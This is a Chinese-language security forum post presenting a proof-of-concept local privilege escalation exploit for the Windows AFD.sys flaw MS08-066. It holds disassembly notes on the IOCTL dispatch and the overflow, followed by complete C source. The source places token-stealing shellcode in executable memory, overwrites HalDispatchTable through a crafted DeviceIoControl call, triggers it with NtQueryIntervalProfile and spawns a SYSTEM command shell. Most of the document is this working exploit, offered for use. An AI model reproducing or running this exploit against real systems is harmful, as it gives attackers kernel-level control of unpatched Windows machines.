MS08-066 AFD.sys Local Privilege Escalation Exploit (PoC)
MS08-066 AFD.sys Local Privilege Escalation Exploit (PoC)
文章作者:Eros412
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
MS Bulletin : http://www.microsoft.com/technet/security/Bulletin/MS08-066.mspx
**********计算IoControlCode过程**********
.text:00010B9F mov eax, [edx+0Ch] ; edx=CurrentStackLocation
.text:00010BA2 push esi
.text:00010BA3 mov esi, ecx
.text:00010BA5 mov ecx, eax ;ecx=IoControlCode
.text:00010BA7 shr ecx, 2
.text:00010BAA and ecx, 3FFh
.text:00010BB0 push edi
.text:00010BB1 mov edi, _AfdImmediateCallDispatch[ecx*4] ; ecx=0x0F
.data:00011FF8 _AfdImmediateCallDispatch dd 0 ; DATA XREF: AfdDispatchImmediateIrp(x,x)+122r
.data:00011FF8 ; AfdFastIoDeviceControl(x,x,x,x,x,x,x,x,x)+7A2r
.data:00012034 off_12034 dd offset AfdGetRemoteAddress(x,x,x,x,x,x,x,x)
.data:00012034 ; DATA XREF: .data:0001213C2o
//0x12034-0x11FF8= 0x3C,所以ecx=(0x3C/4)=0x0F
PAGEAFD:0001AE64 cmp _AfdIoctlTable[esi], edi ;
PAGEAFD:0001AE6A jnz loc_20510
PAGEAFD:0001AE6A
PAGEAFD:0001AE70 mov [edx+1], al
PAGEAFD:0001AE73 mov esi, _AfdIrpCallDispatch[esi]
//我们从_AfdIoctlTable寻找一个运算后==0x0F的值
kd>dd _AfdIoctlTable
f81c3108 00012003 00012007 0001200b 0001200c
f81c3118 00012010 00012017 0001201b 0001201f
f81c3128 00012023 00012024 0001202b 0001202f
f81c3138 00012033 00012037 0001203b 0001203f
f81c3148 00012043 00012047 0001204b 0001204f
//答案是0001203f
***********************************************
*****************溢出过程**********************
PAGE:000171B5 cmp [ebp+OutputBufferLength], eax
PAGE:000171B8 jnb short loc_171C3
PAGE:000171B8
PAGE:000171BA mov [ebp+var_24], 80000005h
PAGE:000171C1 jmp short loc_171C9---------------------------------------------〉big problem!!!
PAGE:000171C1
PAGE:000171C3 ; ---------------------------------------------------------------------------
PAGE:000171C3
PAGE:000171C3 loc_171C3: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+502j
PAGE:000171C3 mov [ebp+OutputBufferLength], eax
PAGE:000171C6 mov [ebp+var_24], esi
PAGE:000171C6
PAGE:000171C9
PAGE:000171C9 loc_171C9: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+592j
PAGE:000171C9 mov [ebp+ms_exc.disabled], esi
PAGE:000171E0 movzx ecx, word ptr [ebx+5Ah] ;
PAGE:000171E4 movzx esi, word ptr [ebx+58h] ;
PAGE:000171E8 add esi, [ebp+ebx_70h] ;
PAGE:000171EB mov edi, [ebp+OutputBuffer]-----------------------〉控制的OutputBuffer地址
PAGE:000171EE mov eax, ecx
PAGE:000171F0 shr ecx, 2
PAGE:000171F3 rep movsd--------------------------〉其实就是把sockaddr_in的内容拷贝,其中OutputBuffer地址里的内容被修改成
sockaddr_in.in_addr.s_addr,而这里的sockaddr_in就是accept()的socket里的
[HalDispatchTable]==sin_port
[HalDispatchTable=0x02]==AF_INET
[HalDispatchTable+0x04]==sockaddr_in.in_addr.s_addr
kd>dd HalDispatchTable
80538ab8 88880002 0100007f cccccccc cccccccc
PAGE:000171F5 mov ecx, eax ;
PAGE:000171F7 and ecx, 3 ;
PAGE:000171FA rep movsb
***********************************************
代码:
#include <Winsock2.h>
#include <stdio.h>
#include <windows.h>
char ShellCode[]="x90x90x90x90x90x90xB8x24xF1xDF"
"xFFx8Bx00x8BxB0x20x02x00x00x8B"
"xC6x8Bx80x88x00x00x00x2Dx88x00"
"x00x00x8Bx90x84x00x00x00x83xFA"
"x04x75xEAx8Bx80xC8x00x00x00x89"
"x86xC8x00x00x00xC2x08x00";
typedef struct _THREAD_PARAMS
{
HANDLE hInitEvent;
HANDLE hReadyEvent;
} THREAD_PARAMS, *PTHREAD_PARAMS;
typedef DWORD (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
typedef DWORD (WINAPI *PNTQUERYINTERVAL)( ULONG ProfileSource,PULONG Interval );
#pragma comment (lib, "ws2_32.lib")
VOID WINAPI FooServer(LPVOID pParam)
{
PTHREAD_PARAMS lParams = (PTHREAD_PARAMS)pParam;
SOCKET tcp_socket;
SOCKET local_client;
sockaddr_in localonly;
sockaddr_in remote;
int remoteLen = sizeof(remote);
localonly.sin_family=AF_INET;
localonly.sin_addr.s_addr = inet_addr("127.0.0.1");
localonly.sin_port=htons(0x8888);
tcp_socket= socket( AF_INET,SOCK_STREAM, 0 );
bind(tcp_socket,(sockaddr*)&localonly,sizeof(localonly));
SetEvent(lParams->hInitEvent);
listen(tcp_socket,2);
local_client = accept(tcp_socket,(struct sockaddr*)&remote,&remoteLen);
printf("
-> Incoming connection: %s
",inet_ntoa(remote.sin_addr));
WaitForSingleObject( lParams->hReadyEvent, -1 );
closesocket(local_client);
closesocket(tcp_socket);
return;
}
int main () {
printf("=====================================================================
");
printf(" MS08-066 AFD.sys Local Privilege Escalation Exploit (POC)
");
printf(" Coded and Modified by :Eros412
");
printf(" Special Thanks to : Ruben Santamarta
");
printf("=====================================================================
");
ULONG result;
int status;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
DWORD HookAddress = 0x80538ab8; //HalDispatchTable address,修改KeQueryIntervalProfile的call function 的地址
//8062cdc2 ff15bc8a5380 call dword ptr [nt!HalDispatchTable+0x4 (80538abc)]
PVOID ShellCodeMemory = (PVOID)0x01000000 ;
DWORD MemorySize = 0x1000;
PNTALLOCATE NtAllocateVirtualMemory;
PNTQUERYINTERVAL NtQueryIntervalProfile;
THREAD_PARAMS lParams = {0};
char inBuff[0x40];
char outBuff[0x40];
DWORD junk ;
SOCKET tcp_socket;
struct sockaddr_in peer;
WSADATA ws;
WSAStartup(0x0202,&ws);
NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle( "ntdll.dll"),
"NtAllocateVirtualMemory");
NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtQueryIntervalProfile");
status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
memset( ShellCodeMemory, 0x90, MemorySize );
memcpy((void*)((BYTE*)ShellCodeMemory + 0x100),ShellCode,80);
//"127.0.0.1" 在内存里==0x0100007F,所以shellcode放在后面(0x01000100)就没问题了
lParams.hInitEvent = CreateEvent(0, FALSE, FALSE, 0);
lParams.hReadyEvent = CreateEvent(0, FALSE, FALSE, 0);
memset(inBuff,0x90,sizeof(inBuff));
memset(outBuff,0x90,sizeof(outBuff));
CreateThread( NULL,
0,
(LPTHREAD_START_ROUTINE)FooServer,
(LPVOID)&lParams,
0,
NULL);
peer.sin_family = AF_INET;
peer.sin_port = htons( 0x8888 );
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
WaitForSingleObject(lParams.hInitEvent, -1);
connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in));
DeviceIoControl((HANDLE)tcp_socket,
0x1203f,
(LPVOID)inBuff,sizeof(inBuff),
(LPVOID)HookAddress,0,
&junk,
NULL);
NtQueryIntervalProfile(3,&result);
SetEvent(lParams.hReadyEvent);
GetStartupInfo( &stStartup );
CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );
return 0;
}
Reference:
http://www.milw0rm.com/exploits/6757 - MS Windows XP/2003 AFD.sys Privilege Escalation Exploit (K-plugin) by Ruben Santamarta
http://www.whitecell.org/list.php?id=60 - Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(ms08066) by Polymorphours
http://blogs.technet.com/swi/archive/2008/10/14/ms08-066-how-to-correctly-validate-and-capture-user-mode-data.aspx